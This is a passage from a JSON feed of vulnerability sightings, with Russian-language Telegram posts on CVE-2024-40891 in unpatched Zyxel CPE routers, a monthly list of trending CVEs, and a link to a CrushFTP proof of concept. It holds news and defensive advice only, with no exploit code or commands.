\u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0438\u0448\u0435\u0442 Tadviser.\n\n\u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0435\u0442\u0435\u0439 \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0424\u0421\u0422\u042d\u041a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0443, \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u00ab\u0431\u0435\u043b\u044b\u0439\u00bb \u0441\u043f\u0438\u0441\u043e\u043a IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0440\u043e\u0443\u0442\u0435\u0440\u0443 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://t.me/bdufstecru/2177 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0424\u0421\u0422\u042d\u041a", "creation_timestamp": "2026-07-27T00:00:38.530748Z"}, {"uuid": "3886dffe-40d6-412a-b994-bad761030203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "https://t.me/EchelonEyes/3606", "content": "\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 Zyxel CPE, \u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442\n\n\u0415\u0449\u0435 \u043b\u0435\u0442\u043e\u043c 2024 \u0433\u043e\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-40891 (BDU:2025-0088), \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Zyxel \u0441\u0435\u0440\u0438\u0438 CPE. \u0424\u0421\u0422\u042d\u041a \u0420\u043e\u0441\u0441\u0438\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0443 \u0431\u044b\u043b\u0430 \u0434\u0430\u043d\u0430 \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 10 \u0438\u0437 10, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b \u0441\u043b\u0443\u0447\u0430\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435\u0432\u0437\u0438\u0440\u0430\u044f \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0442\u0430\u043a \u0438 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443. \n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u00absupervisor\u00bb \u0438\u043b\u0438 \u00abzyuser\u00bb \u043f\u0443\u0442\u0451\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 telnet\u00bb, - \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u0440\u0435\u0433\u0443\u043b\u044f\u0442\u043e\u0440 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Censys, \u0432 \u0441\u0435\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 1500 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 Zyxel CPE, \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0424\u0438\u043b\u0438\u043f\u043f\u0438\u043d\u0430\u0445, \u0432 \u0422\u0443\u0440\u0446\u0438\u0438, \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0438 \u0424\u0440\u0430\u043d\u0446\u0438\u0438. \u0425\u043e\u0442\u044f \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043c\u0435\u043d\u0435\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0442\u044c\u0441\u044f \u0443 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0441\u0432\u044f\u0437\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0438\u0448\u0435\u0442 Tadviser.\n\n\u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0435\u0442\u0435\u0439 \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0424\u0421\u0422\u042d\u041a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0443, \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u00ab\u0431\u0435\u043b\u044b\u0439\u00bb \u0441\u043f\u0438\u0441\u043e\u043a IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0440\u043e\u0443\u0442\u0435\u0440\u0443 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://t.me/bdufstecru/2177 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0424\u0421\u0422\u042d\u041a", "creation_timestamp": "2026-07-28T00:00:51.133933Z"}, {"uuid": "3912d735-753e-4dba-bc56-1fc601d6158e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/thehaking/2801", "content": "\u0421\u0430\u043c\u044b\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f: \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 Microsoft, VMware, Veeam \u0438 \u0434\u0440\u0443\u0433\u0438\u0435\n\n\u041f\u0440\u0438\u0432\u0435\u0442! \u042f \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041b\u0435\u043e\u043d\u043e\u0432, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 PT Expert Security Center. \u041c\u044b \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0432 Positive Technologies \u043a\u0430\u0436\u0434\u044b\u0439 \u043c\u0435\u0441\u044f\u0446 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0438\u0437 \u0431\u0430\u0437 \u0438 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432, \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439, \u0431\u043b\u043e\u0433\u043e\u0432, \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u043c-\u043a\u0430\u043d\u0430\u043b\u043e\u0432, \u0431\u0430\u0437 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043a\u043e\u0434\u0430 \u0438 \u0432\u044b\u044f\u0432\u043b\u044f\u0435\u043c \u0432\u043e \u0432\u0441\u0435\u043c \u044d\u0442\u043e\u043c \u043c\u043d\u043e\u0433\u043e\u043e\u0431\u0440\u0430\u0437\u0438\u0438 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u042d\u0442\u043e \u0442\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043b\u0438\u0431\u043e \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0436\u0438\u0432\u0443\u044e, \u043b\u0438\u0431\u043e \u043c\u043e\u0433\u0443\u0442 \u043d\u0430\u0447\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f.\n\n\u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043c\u044b \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u0441\u0435\u043c\u044c \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft:\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a\u0435 Windows (CVE-2024-38014)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Mark of the Web (MotW) \u0432 Windows (CVE-2024-38217)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446 Windows MSHTML Platform (CVE-2024-43461)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430 \u0432 VMware vCenter \u0438 VMware Cloud Foundation (CVE-2024-38812)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 Veeam Backup & Replication (CVE-2024-40711)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0432\u0435\u0431-\u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u043e\u0439 Round\u0441ube Webmail (CVE-2024-37383)\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 \u00abSQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f\u00bb \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 The Events Calendar \u0434\u043b\u044f WordPress (CVE-2024-8275)\n\nhttps://habr.com/ru/companies/pt/articles/849310/\n\n\ud83d\udc49@thehaking", "creation_timestamp": "2026-08-27T09:00:03.782520Z"}, {"uuid": "75814134-fc05-4f8a-848f-86c3f043de84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "https://t.me/reverseame/4464", "content": "CVE-2024-4040-SSTI-LFI-PoC: CVE-2024-4040 CrushFTP SSTI LFI & Auth Bypass | Full Server Takeover | Wordlist Support #GitHub #CVE-2024-4040 #SSTI #LFI #PoC https://github.com/Stuub/CVE-2024-4040-SSTI-LFI-PoC", "creation_timestamp": "2026-07-29T12:02:15.203942Z"}, {"uuid": "768419a4-b7fa-41ea-8fb0-d4a61e51e456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/cisoclub/4046", "content": "\ud83d\udd25 Zyxel \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442: \u043f\u043e\u0440\u0430 \u043c\u0435\u043d\u044f\u0442\u044c \u0440\u043e\u0443\u0442\u0435\u0440\u044b, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u0437\u0434\u043d\u043e! \ud83d\ude80\n\n\u041d\u0443 \u0447\u0442\u043e, \u0434\u0440\u0443\u0437\u044c\u044f, \u0435\u0441\u043b\u0438 \u0432\u0430\u0448 \u0441\u0442\u0430\u0440\u044b\u0439 Zyxel \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442, \u0435\u0441\u0442\u044c \u043f\u043e\u0432\u043e\u0434 \u0437\u0430\u0434\u0443\u043c\u0430\u0442\u044c\u0441\u044f: \u043d\u0435 \u043f\u043e\u0440\u0430 \u043b\u0438 \u0435\u0433\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043d\u0430 \u0437\u0430\u0441\u043b\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u043e\u0442\u0434\u044b\u0445? \n\n\ud83e\uddd0 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0446\u0435\u043b\u0430\u044f \u043b\u0438\u043d\u0435\u0439\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 CPE \u0443\u0436\u0435 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u2014 \u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430.\n\n\u0427\u0442\u043e \u0441\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c?\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b VulnCheck \u0435\u0449\u0451 \u0432 \u0438\u044e\u043b\u0435 2024-\u0433\u043e \u043d\u0430\u0448\u043b\u0438 \u0432 \u044d\u0442\u0438\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0435 \u0431\u0440\u0435\u0448\u0438, \u043d\u043e \u043f\u043e-\u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0436\u0430\u0440\u043a\u043e \u0441\u0442\u0430\u043b\u043e \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435, \u043a\u043e\u0433\u0434\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 GreyNoise \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0430 \u0432\u043e\u043b\u043d\u0435 \u0440\u0438\u0441\u043a\u0430 \u2014 \u043d\u0435 \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0442\u043d\u044b\u0435 \"\u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0442\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\", \u0430 \u0431\u043e\u043b\u0435\u0435 1,5 \u0442\u044b\u0441\u044f\u0447 \u0436\u0438\u0432\u044b\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u0441\u0435\u0442\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u0432\u043e\u0438 CVE-\u0448\u043d\u0438\u043a\u0438: CVE-2024-40891 \u0438 CVE-2025-0890, \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0435\u0445\u043e\u0440\u043e\u0448\u0438\u043c \u043b\u044e\u0434\u044f\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u042d\u0442\u043e \u043a\u0430\u043a \u0435\u0441\u043b\u0438 \u0431\u044b \u0443 \u0432\u0430\u0441 \u0432 \u043a\u0432\u0430\u0440\u0442\u0438\u0440\u0435 \u0434\u0432\u0435\u0440\u044c \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u0430\u0441\u044c, \u0430 \u043a\u043b\u044e\u0447\u0438 \u0440\u0430\u0437\u0434\u0430\u0432\u0430\u043b\u0438 \u0432\u0441\u0435\u043c \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u043c.\n\nZyxel \u0433\u043e\u0432\u043e\u0440\u0438\u0442: \"\u041f\u0440\u043e\u0441\u0442\u043e \u043a\u0443\u043f\u0438\u0442\u0435 \u043d\u043e\u0432\u044b\u0435!\"\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0437\u043d\u0430\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043d\u043e \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043d\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442. \u041f\u043e\u0447\u0435\u043c\u0443? \u0412\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e \u2014 \u043c\u043e\u0434\u0435\u043b\u0438 \u0443\u0441\u0442\u0430\u0440\u0435\u043b\u0438 \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f. \u0412\u043e\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043f\u0430\u043b\u0438 \u043f\u043e\u0434 \u044d\u0442\u043e\u0442 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u0437\u0430\u043a\u0430\u0442: VMG1312-B10A, VMG1312-B10B, VMG1312-B10E, VMG3312-B10A, VMG3313-B10A, VMG3926-B10B, VMG4325-B10A, VMG4380-B10A, VMG8324-B10A, VMG8924-B10A, SBG3300 \u0438 SBG3500.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0447\u0442\u043e-\u0442\u043e \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u2014 \u0432\u0440\u0435\u043c\u044f \u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043f\u0433\u0440\u0435\u0439\u0434.\n\n\u041d\u043e \u0435\u0441\u0442\u044c \u043d\u044e\u0430\u043d\u0441\u2026\n\n\u0421\u0430\u043c\u044b\u0439 \u043f\u0438\u043a\u0430\u043d\u0442\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442: Zyxel \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0441 \u0438\u044e\u043b\u044f \u043f\u044b\u0442\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0442 VulnCheck \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u0440\u0435\u0448\u0438\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u0447\u0451\u0442, \u043d\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0437\u0430\u0440\u0430\u043d\u0435\u0435. \n\n\ud83e\udd37\u200d\u2642\ufe0f \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u043d\u044b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u0434\u044b\u0440\u044f\u0432\u044b\u043c\u0438 